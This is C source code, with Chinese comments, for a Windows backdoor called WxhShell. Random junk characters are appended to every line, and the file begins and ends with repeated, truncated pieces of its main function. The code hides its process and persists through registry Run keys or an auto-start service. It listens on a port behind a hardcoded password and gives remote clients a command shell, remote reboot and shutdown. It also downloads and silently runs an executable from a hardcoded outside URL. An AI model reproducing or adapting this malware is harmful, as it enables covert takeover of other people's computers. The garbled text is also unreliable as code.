// 如果时win9x，隐藏进程并且设置为注册表启动 sb"z=4
HideProc(); So>P)d$8+
StartWxhshell(lpCmdLine); uYjE)"
} _IzJxAcJ
else y+b4sFf
if(StartFromService()) *J[3f]PBmR
// 以服务方式启动 CqW:m*c
StartServiceCtrlDispatcher(DispatchTable); ?d@3y<A,~
else #ra"(/)
// 普通方式启动 (gN[<QL
StartWxhshell(lpCmdLine); *J^l r"%c
o5=1
return 0; Q9,H0r-%
} e8T#ZWr*
o!:V=F
>YP6/w,e
I(LBc
=========================================== h| q!Qsnj'
lAjP'(
ffMh2
v4M1uJ8
=eG?O7z&
/{Ff)<Q.Z
" QTZfe<m0
)1 ]P4
#include <stdio.h> 4n6EkTa
#include <string.h> /ZC/yGdIS_
#include <windows.h> -L%J,f[&,
#include <winsock2.h> &!/E&e$_
#include <winsvc.h> Wp2b*B=-
#include <urlmon.h> },r30`)Q
F3BWi[Xh
#pragma comment (lib, "Ws2_32.lib") j1/.3\
#pragma comment (lib, "urlmon.lib") [[uKakp
Xvy3D@o
#define MAX_USER 100 // 最大客户端连接数 [C1.*Q+l
#define BUF_SOCK 200 // sock buffer 5]C}044
#define KEY_BUFF 255 // 输入 buffer QuG=am?l`
&T7|f!y
#define REBOOT 0 // 重启 %:61@<
#define SHUTDOWN 1 // 关机 >`\f,yql6
ahezDDR-.i
#define DEF_PORT 5000 // 监听端口 21(8/F ~{
hC1CISm.U
#define REG_LEN 16 // 注册表键长度 zJ-_{GiM*L
#define SVC_LEN 80 // NT服务名长度 }M3f ?Jv
: ?K}.Kb
// 从dll定义API SePPI.n
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z4qw*. 5
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n*%o!=
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rHS;wT
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =E{e|(1+u
6yDc4AX
// wxhshell配置信息 pwj?
struct WSCFG { w5j6RQml
int ws_port; // 监听端口 *g0}pD;r
char ws_passstr[REG_LEN]; // 口令 %V40I{1
int ws_autoins; // 安装标记, 1=yes 0=no g&z)y
char ws_regname[REG_LEN]; // 注册表键名 Z0o+&3a6
char ws_svcname[REG_LEN]; // 服务名 7Jm&z/
char ws_svcdisp[SVC_LEN]; // 服务显示名 <i~O0f]
char ws_svcdesc[SVC_LEN]; // 服务描述信息 OnD!*jy
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (_:k s
int ws_downexe; // 下载执行标记, 1=yes 0=no h8R3N?S3#
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R$[nYw
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XwI~ 0
~ ^)D#Lo
}; xZmO^F5KHj
G)ppkH`qj
// default Wxhshell configuration r'!HWR
struct WSCFG wscfg={DEF_PORT, E cS+/
"xuhuanlingzhe", q?R)9E$h
1, X5s.F%Np!
"Wxhshell", &ZkY9XO
"Wxhshell", JCL+uEX4S
"WxhShell Service", h6Femis
"Wrsky Windows CmdShell Service", /(/Z~J[
"Please Input Your Password: ", d!BQ%a
1, C!]R0L*
"http://www.wrsky.com/wxhshell.exe", KyQO>g{R
"Wxhshell.exe" JnC$}amr
}; /O,>s
,'FH[2
// 消息定义模块 G9`;Z^<L
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i5f8}`w
char *msg_ws_prompt="\n\r? for help\n\r#>"; tyEa5sy4
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (s:ihpI
char *msg_ws_ext="\n\rExit."; cr}T ? $\K
char *msg_ws_end="\n\rQuit."; v|\<N!g
char *msg_ws_boot="\n\rReboot..."; (lNV\Za
char *msg_ws_poff="\n\rShutdown..."; B=EI&+F+
char *msg_ws_down="\n\rSave to "; |rjHH<
rV yw1D
char *msg_ws_err="\n\rErr!"; uL\b*rI
char *msg_ws_ok="\n\rOK!"; jkTh)Bm|'
P}YtT3.K
char ExeFile[MAX_PATH]; *u?QO4>
int nUser = 0; 2#<)-Cak
HANDLE handles[MAX_USER]; kTC'`xv
int OsIsNt; :K:oH}4oh
:htz]
SERVICE_STATUS serviceStatus; bc+~g>o
SERVICE_STATUS_HANDLE hServiceStatusHandle; JbV\eE#KrC
(d> M/x?W
// 函数声明 cRR[ci34k
int Install(void); {6_M$"e.
int Uninstall(void); 8R3x74fL
int DownloadFile(char *sURL, SOCKET wsh); pUGFQ."\
int Boot(int flag); W6e,S[J^FY
void HideProc(void); i~};5j(
int GetOsVer(void); ]lX`[HX7
int Wxhshell(SOCKET wsl); (-<s[VnXP
void TalkWithClient(void *cs); Y/%(4q*'
int CmdShell(SOCKET sock); GnX+.uQL|
int StartFromService(void); jTR>H bh
int StartWxhshell(LPSTR lpCmdLine); 3MmpB9l#H
(D\7EH\9,]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n@TK}?\UoR
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Su4&qY
Aof)WKo
// 数据结构和表定义 $;4y2?E
SERVICE_TABLE_ENTRY DispatchTable[] = \ F\ /<
{ e_<'zH_1
{wscfg.ws_svcname, NTServiceMain}, \?$`dA[
{NULL, NULL} ;\N)RZ
}; Rm&^[mv
Z[ NO`!<
// 自我安装 ;S&PLgZ
int Install(void) mp!S<m
{ .S5%Qa [uW
char svExeFile[MAX_PATH]; ^"\3dfzKM
HKEY key; B4D#TlB
strcpy(svExeFile,ExeFile); VW$a(G_h
1Fg*--8[r
// 如果是win9x系统，修改注册表设为自启动 A^2n i=b
if(!OsIsNt) { 7J[DD5
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .83{NF
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cr7T=&L
RegCloseKey(key); 6YHQ/#'G~
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OV"uIY[%8V
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $fzO:br5WJ
RegCloseKey(key); rexNsKRK_
return 0; 'bd|Oww1u
} Qm"&=<
} hfJeVT-/v
} +HXR ))X
else { 8opd0'SNaB
rWP -Rm
// 如果是NT以上系统，安装为系统服务 18HmS>Qo
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A2 r\=for
if (schSCManager!=0) eT'Z;ZO
{ *=2sXH1j
SC_HANDLE schService = CreateService Uhw:XV@m
( f`gs/R
schSCManager, qk{+Y
wscfg.ws_svcname, @W1F4HYds
wscfg.ws_svcdisp, 2Y7u M;8
SERVICE_ALL_ACCESS, N|rB~
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , baO'FyCs9&
SERVICE_AUTO_START, 9cnLf#
SERVICE_ERROR_NORMAL, yrF"`/zv6|
svExeFile, SSAf<44e
NULL, ^H(,^cVN
NULL, ^vY[d]R _\
NULL, +%~/~1
NULL, q:/3uC7
NULL ^[6S]Ft(
); SWLt5dV
if (schService!=0) iW9o-W a
{ fvi8+3A&
CloseServiceHandle(schService); 4lF(..Ix
CloseServiceHandle(schSCManager); rqi/nW
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FK+`K<
strcat(svExeFile,wscfg.ws_svcname); s=H|^v
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8#{DBWU
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _C%:AFPP>
RegCloseKey(key); c+:XaDS-
return 0; )ppIO"\
} c-y`Hm2"
} '@{Mq%`
CloseServiceHandle(schSCManager); k d9<&.y{
} fZtuP1-4
} k0v&U@+-J
fe4Ki
return 1; TF%MO\!
} ;{Nc9d
|[W7&@hF
// 自我卸载 ccY! OSae
int Uninstall(void) :Ldx^UO
{ 0@tN3u?dx
HKEY key; v;o/M6GL5
(3Dz'X
if(!OsIsNt) { o()No_.8H
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d=DQS>Nz
RegDeleteValue(key,wscfg.ws_regname); VsQ~Y,7
RegCloseKey(key); Fz{T;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NiSH$MJ_
RegDeleteValue(key,wscfg.ws_regname); [vTk*#Cl4
RegCloseKey(key); ~wFiq)v(
return 0; 7t3ps
} DLH|y%"
} vACJE
} \(&UDG$
else { GWa:C\YK
?0x=ascP
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [:(hqi!
if (schSCManager!=0) .z, ot|
{ xl ]1TB@
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d#CAP9n;'
if (schService!=0) &e\UlM22
{ X.GK5Phd
if(DeleteService(schService)!=0) { uZml.#@4
CloseServiceHandle(schService); phi9/tO\u
CloseServiceHandle(schSCManager); z'9U.v'M)
return 0; +`f3_Xd
} <lgX=wx L
CloseServiceHandle(schService); vLs*}+f
} c->.eL%
CloseServiceHandle(schSCManager); (b8ZADI*
} :pdl2#5H^
} 85_Qb2<'r
(3?W)i
return 1; n.7-$1
} &&ZX<wOM
dCA! R"HD
// 从指定url下载文件 X#k:J
int DownloadFile(char *sURL, SOCKET wsh) g`(3r
{ c<ORmg6
HRESULT hr; dwqR,|
char seps[]= "/"; a];1)zVA6
char *token; Ku?1QDhrF*
char *file; rcz9\@M
char myURL[MAX_PATH]; vMzBp#MT
char myFILE[MAX_PATH]; slQEAqG)B
_>E=.$
strcpy(myURL,sURL); @y2cC6+'t
token=strtok(myURL,seps); fb8)jd'~}O
while(token!=NULL) !;Vqs/E
{ X?.tj Z,
file=token; w/e?K4
token=strtok(NULL,seps); x c|1?AFj
} E5yn,-GyE0
J^-a@'`+
GetCurrentDirectory(MAX_PATH,myFILE); 4hx4/5[^
strcat(myFILE, "\\"); 6w4HJZF~
strcat(myFILE, file); )lU9\"?o
send(wsh,myFILE,strlen(myFILE),0); @^.o8+Pp
send(wsh,"...",3,0); DN;|?oNZ
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <DN7
if(hr==S_OK) _9y!,ST
return 0; DMA`Jx
else 7$mB.\|
return 1; @rS(3wu_&
7U!-_)n{
} U%n>(!d
>U)>~SQf
// 系统电源模块 P~;1adi3
int Boot(int flag) "hnvND4=
{ /\MkH\zg
HANDLE hToken; .=zBUvy
TOKEN_PRIVILEGES tkp; lS]6SkZ6
/vI"v4
if(OsIsNt) { k8b5~A,
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0ev='v8?
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); av bup
tkp.PrivilegeCount = 1; j&[u$P*K
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~KczP1p
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bwI"V&*
if(flag==REBOOT) { +ryB*nT
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M'VJE|+t
return 0; _UV_n!R
} O1!YHo
else { mD%IHzbn H
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [Z^26/5a
return 0; 7Vuf4Z5
} ~gaWZQXyu
} iB5q"hoZC
else { KQ^|prN?y
if(flag==REBOOT) { .hJcK/m
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]&s@5<S[
return 0; *M.,Yoj
} n#sK31;yb
else { QO:Z8{21So
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J:@yG1VIp
return 0; mqbCa6>_S
} |I;]fH,+
} 4K ]*bF44
$>T(31)c
return 1; &eb8k2S
} s>)?MB*vb
h; 6G~D
// win9x进程隐藏模块 fw5+eTQ^
void HideProc(void) vSR5F9
{ mkq246<D~
mWUd-|Ul
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h]vEXWpG]
if ( hKernel != NULL ) :!^NjO
{ ^r,0aNzAs
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 97/4J
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EQQ@nW{;
FreeLibrary(hKernel); xd\ml 37~
} RXw1HRR$V
1bjz :^
return; CF:L#r
} _sn<"B%>
jO9!:L>b`
// 获取操作系统版本 nNeCi
int GetOsVer(void) ,~/WYw<o
{ NKc<nYdK?
OSVERSIONINFO winfo; (*kKfg4Wj
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nd$92H
GetVersionEx(&winfo); luW"|
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /|3~LvIt=
return 1; 4C )sjk?m
else 3Kc9*]D
return 0; U'u_'5{
} ~NB|BwAh
CM7NdK?I
// 客户端句柄模块 \58bz<u"
int Wxhshell(SOCKET wsl) hhz#IA6,
{ ss6{+@,
SOCKET wsh; ky&wv+7
struct sockaddr_in client; bk&kZI.D
DWORD myID; #=)!\
dc0&*/`:
while(nUser<MAX_USER) ^rd%{6m
{ K{,'%|
int nSize=sizeof(client); Vl3-cW@p
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z>l|R C
if(wsh==INVALID_SOCKET) return 1; @6Lp$w
~dzD7lG6
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]~~G<Yh:=
if(handles[nUser]==0) g W_E
closesocket(wsh); t/_\w"
else =[zP
nUser++; ^nK7&]rK
} DWEDL[{
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KoA+Vv9
7w]3D
return 0; N|%r5%
} =k,?+h~
:iGK9I
// 关闭 socket ,N;2"$+E
void CloseIt(SOCKET wsh) dkY JO!
{ j5og}Pq:
closesocket(wsh); It<VjN9
nUser--; bxzx@sF2l
ExitThread(0); HAo=t
} 'nq~1 >i
w~&#:F?
// 客户端请求句柄 6(x53y__
void TalkWithClient(void *cs) ;Qi!~VsP;
{ vxug>2
=qbN?a/?2
SOCKET wsh=(SOCKET)cs; Ya>AI.!K
char pwd[SVC_LEN]; }/#*opcv
char cmd[KEY_BUFF]; n).*=YLN
char chr[1]; KUq7Oa!
int i,j; )wXE\$
cLRzm9
while (nUser < MAX_USER) { u+ hRaI;v
.C&kWM&j
if(wscfg.ws_passstr) { oRJ!TAbD
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hS*&p0YV~M
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Yf^O @<<>
//ZeroMemory(pwd,KEY_BUFF); cMCM>*X
i=0; *&\6x}.I4
while(i<SVC_LEN) { cr|]\
Jw#7b[a
// 设置超时 ,0ilNi>
fd_set FdRead; &5.J y2hO]
struct timeval TimeOut; "q1S.3V;
FD_ZERO(&FdRead); 4[&&E7]EX
FD_SET(wsh,&FdRead); UbGnU_}
TimeOut.tv_sec=8; XR3 dG:
TimeOut.tv_usec=0; >I<}:=
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I3b*sx$
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uMpuS1
+IWf~|s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K:kb&W
pwd=chr[0]; p_%,JD
if(chr[0]==0xd || chr[0]==0xa) { SAj#+_db
pwd=0; cNFHbMd
break; jKo9y
} H "5,To
i++; o3eaNYa
} b|@zjh;]A7
ZHUW1:qs
// 如果是非法用户，关闭 socket /R?[/`)f&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nP<u.{q L
} <L11s%5-
/hmDePo}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~-y&C%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sa _J6~
PkZ1Db
while(1) { U$y wO4.
T8)X?>CIW
ZeroMemory(cmd,KEY_BUFF); ]~VuY:abH
-QR]BD%J*[
// 自动支持客户端 telnet标准 Qx3eEt@X5]
j=0; !`4ie
while(j<KEY_BUFF) { 1RX-`"^+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )db:jPkwd
cmd[j]=chr[0]; V~ MsGj
if(chr[0]==0xa || chr[0]==0xd) { -3ANNj
cmd[j]=0; &j ;91wEn
break; 7E#h(bt j
} ^i2>Ax&T
j++; EVBOubV
} F|y0q:U
'Z=_zG/RX
// 下载文件 vM]5IHqeE
if(strstr(cmd,"http://")) { cHR*.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E.sZjo1
if(DownloadFile(cmd,wsh)) -q[x"Ha%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxBx?xM-
else WNb2"W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \x:U`T
} gdoaXw;Sy
else { lZe-A/E
9o6[4Q}
switch(cmd[0]) { GUD]sXSj
W8u&5#$I
// 帮助 w1(5,~OB
case '?': { `8#xO{B1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S 1^t;{"
break; g.blDOmlc
} vJct)i
// 安装 v@ qDR|?^
case 'i': { 0_-o]BY
if(Install()) iR PE0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W1Fhx`
else y`5 ?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >?)_, KL
break; YU`k^a7%
} K>LS8,8V
// 卸载 ~`^kP.()
case 'r': { BB9eQ: xO
if(Uninstall()) $cuBd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1{]S[\F]
else ^+-]V9?+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [{#TN
break; %C #Ps
} &iq'V*+-\
// 显示 wxhshell 所在路径 WA1yA*S
case 'p': { \ZhkOl
char svExeFile[MAX_PATH]; 0S4Y3bac&
strcpy(svExeFile,"\n\r"); n[qnrk*3 %
strcat(svExeFile,ExeFile); @jjxgd'%&
send(wsh,svExeFile,strlen(svExeFile),0); 92R,o'#
break; $bF+J8%D
} ,'t&L]
// 重启 d8R|0RZ
case 'b': { .HGK 3
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t5S|0/f
if(Boot(REBOOT)) J}4RJ9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &'i>d&
else { sa/9r9hc+
closesocket(wsh); 1M?x,N_W
ExitThread(0); PY4a3dp U
} {iq^CHAVK
break; 1:M'|uc
} pFiE2V_aS
// 关机 bF*Kb"!CF
case 'd': { xC=$ym]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i$}G[v<4
if(Boot(SHUTDOWN)) )+hJi/g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8-1wx
else { hCc%d$wVk
closesocket(wsh); x*tCm8`{
ExitThread(0); .YH#+T'
} {|j-e{*
break; V4CA*FEA
} D'{o3Q,%K
// 获取shell nygeR|:\
case 's': { vl}}h%BC
CmdShell(wsh); pNuU{:9 B0
closesocket(wsh); nehk8+eV_
ExitThread(0); 2$b1q!g<
break; vO"E4s
} 0R+p\Nc&1
// 退出 wt'"<UN
case 'x': { ){u# (sW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [I'q"yRu]i
CloseIt(wsh); 1|G5 W:
break; p14$XV
} k%-UW%
// 离开 H15!QxD#
case 'q': { &`>dY /Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); p<Tg}fg
closesocket(wsh); GMLx$?=j
WSACleanup(); yDe*-N\'W
exit(1); L"?4}U:
break; 1GLb^:~A
} kDE:KV<"c
} ,m7Z w_.
} -sle7k
$gk=~p|
// 提示信息 Aq(,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }095U(@
} #L*MMC"
} _x`:Ne?
4IM&#_6
return; +, rm
} v] Xy^7?
n4"xVDL
// shell模块句柄 (f#{<^gd
int CmdShell(SOCKET sock) )^)|b5,
{ ;D4 bxz0ou
STARTUPINFO si; (V/!0Lj
ZeroMemory(&si,sizeof(si)); I3l1 _
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bOV]!)o
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nii5},
PROCESS_INFORMATION ProcessInfo; Ur""&@
char cmdline[]="cmd"; :N xksL^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,>TDxI;
return 0; `sRys oW
} Q2@yUDd!
q^@*k,HG
// 自身启动模式 "68=dC
int StartFromService(void) A/j'{X!z
{ /wHfc[b>
typedef struct ::/vDUDc
{ y>g`R^^
DWORD ExitStatus; x^pHP|<3`
DWORD PebBaseAddress; g$#JdN
DWORD AffinityMask; (Fk&~/SP
DWORD BasePriority; V0F1X s`
ULONG UniqueProcessId; _.,"`U; H
ULONG InheritedFromUniqueProcessId; ~%: TE}
} PROCESS_BASIC_INFORMATION; ]ddL'>$c$
L'>0E(D
PROCNTQSIP NtQueryInformationProcess; ^c sOXP=Yp
8Y;>3zth7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,/Y$%.Rp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K5+ONA<c
5Ak>/QF9
HANDLE hProcess; ]}_Ohe]X
PROCESS_BASIC_INFORMATION pbi; gkx<<)y l
-N2m|%B
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -PiZvge
if(NULL == hInst ) return 0; ZQ#AEVI,
w/CD-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9v}vCg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fEyc3K'5V
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h&bs`
^"$~&\+x5
if (!NtQueryInformationProcess) return 0; Psjk 7\
tZD^<Q7}\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L i`OaP$
if(!hProcess) return 0; F;Ubdxwwl
`{S4_'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k)fLJ9R
#}'sknvM}
CloseHandle(hProcess); 3HX-lg`0
hXn@vK6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T@N)BfkB
if(hProcess==NULL) return 0; qNbgN{4
:HN\A4=kc(
HMODULE hMod; @'?7au ''
char procName[255]; .[o?qCsw
unsigned long cbNeeded; 28xLaob
,aSK L1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !f8]gTzN
]i'gU(+;`
CloseHandle(hProcess); mDIN%/S'
=$vy_UN
if(strstr(procName,"services")) return 1; // 以服务启动 RsP^T:M}$
95 X6V
return 0; // 注册表启动 KWT[b?
} DGx<Nys@B
"& q])3h=
// 主模块 3#c0p790
int StartWxhshell(LPSTR lpCmdLine) t3aDDu
{ L>2gx$f
SOCKET wsl; C;rK16cn
BOOL val=TRUE; G%fNGQwT
int port=0; Kdb:Q0B
struct sockaddr_in door; [~IFg~*,
JuXuS
if(wscfg.ws_autoins) Install(); NE!]
uB3Yl=P
port=atoi(lpCmdLine); @>hXh +!2h
>U[YSsFt6
if(port<=0) port=wscfg.ws_port; je~gk6}Y
VxGR[kq$]
WSADATA data; =:v5` :
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gS^Y?
\>|:URnD
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ezw<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zk 9i}H
door.sin_family = AF_INET; x?-kt.M
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .&c!k1kH
door.sin_port = htons(port); DP7B X^e
>W@3_{0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >WW5;7$
closesocket(wsl); 9TOqA4
return 1; i@spd5.
} Gw}b8N6E
Yu9.0A_) :
if(listen(wsl,2) == INVALID_SOCKET) { "Bbd[ZI8
closesocket(wsl); {}v<2bS
return 1; }VXZM7@u
} /7XVr"R
Wxhshell(wsl); u1i ?L'
WSACleanup(); ++M%PF [ {
Z"g6z#L&
return 0; 6I$:mHEhd
Ewczq1%l:
} ]5i]2r1
;CdxKr-d
// 以NT服务方式启动 Hqm1[G)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BpZ17"\z
{ @k,}>Tk
DWORD status = 0; A**PGy.Ni
DWORD specificError = 0xfffffff; @)p?!3{"
^B7C8YP
serviceStatus.dwServiceType = SERVICE_WIN32; @c#M^:9Dc
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \KPwh]0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Aa h
serviceStatus.dwWin32ExitCode = 0; n!t][d/g+
serviceStatus.dwServiceSpecificExitCode = 0; LuW^Ga"E
serviceStatus.dwCheckPoint = 0; ,Taq~
serviceStatus.dwWaitHint = 0; ?{*/VJl$
.LHzaeJCX
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cu+u'&U!
if (hServiceStatusHandle==0) return; M-+=t8
piKR*|F
status = GetLastError(); jneos~ 'n8
if (status!=NO_ERROR) #R$[?fW
{ b_j8g{/9
serviceStatus.dwCurrentState = SERVICE_STOPPED; t+Rt*yjO
serviceStatus.dwCheckPoint = 0; 5Dlx]_
serviceStatus.dwWaitHint = 0; aXO|%qX
serviceStatus.dwWin32ExitCode = status; /0I=?+QSo
serviceStatus.dwServiceSpecificExitCode = specificError; ~`Xu6+1o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xKC{P{:
return; @Tg+Kt
} eMV@er|
8|iMD1
serviceStatus.dwCurrentState = SERVICE_RUNNING; sz+Uq]Mn
serviceStatus.dwCheckPoint = 0; VyL|d^'f_
serviceStatus.dwWaitHint = 0; J?N9*ap)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o@g/,V $
} s.G6?1VXlY
jW!)5(B[A
// 处理NT服务事件，比如：启动、停止 &SE+7HXw
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5!)_"u3
{ oc3}L^aD
switch(fdwControl) (N25.}8Y
{ '=eE6=m^K
case SERVICE_CONTROL_STOP: <FFaaGiE>
serviceStatus.dwWin32ExitCode = 0; @:"GgkyDl#
serviceStatus.dwCurrentState = SERVICE_STOPPED; koAM",5D
serviceStatus.dwCheckPoint = 0; jIs2R3B
serviceStatus.dwWaitHint = 0; IB+)2`
{ C2 ] x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >E3 lY/[
} 3?R QPP
return; :},/D*v
case SERVICE_CONTROL_PAUSE: .JkF{&=B
serviceStatus.dwCurrentState = SERVICE_PAUSED; |]9Z#lv+I
break; YKsc[~ h
case SERVICE_CONTROL_CONTINUE: &,B91H*#
serviceStatus.dwCurrentState = SERVICE_RUNNING; >ey-j\_v
break; !,3U_!
case SERVICE_CONTROL_INTERROGATE: ^ M4-O~
break; K'zG[[P
}; {l-V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y2,\WKa
} !p~K;p,
|r=.}9 -
// 标准应用程序主函数 T>;Kq;(9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .wfN.Z
{ Z*rA~`@K6
Ut xe
// 获取操作系统版本 K2GcU_*t
OsIsNt=GetOsVer(); H^no&$2`1
GetModuleFileName(NULL,ExeFile,MAX_PATH); GxIw4m9
sB,>4*Zd
// 从命令行安装 [o,S.!W8
if(strpbrk(lpCmdLine,"iI")) Install(); )d|hIW]7(
1#3 Qa{i
// 下载执行文件 BsX# ~
if(wscfg.ws_downexe) { SLze) ?.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?)~j>1"S
WinExec(wscfg.ws_filenam,SW_HIDE); $ (gR^L
} @GiR~bKZ
D< 4!7*9%
if(!OsIsNt) { nBVknyMFNF
// 如果时win9x，隐藏进程并且设置为注册表启动 !7K-Kqn
HideProc(); xf.2Ig
StartWxhshell(lpCmdLine); >xt*(j&}
} MXxE)"G*a
else P00pSRQHD
if(StartFromService()) K{&b "Ba1
// 以服务方式启动 42m}c1R
StartServiceCtrlDispatcher(DispatchTable); /j1p^=ARV
else O<x53MN^
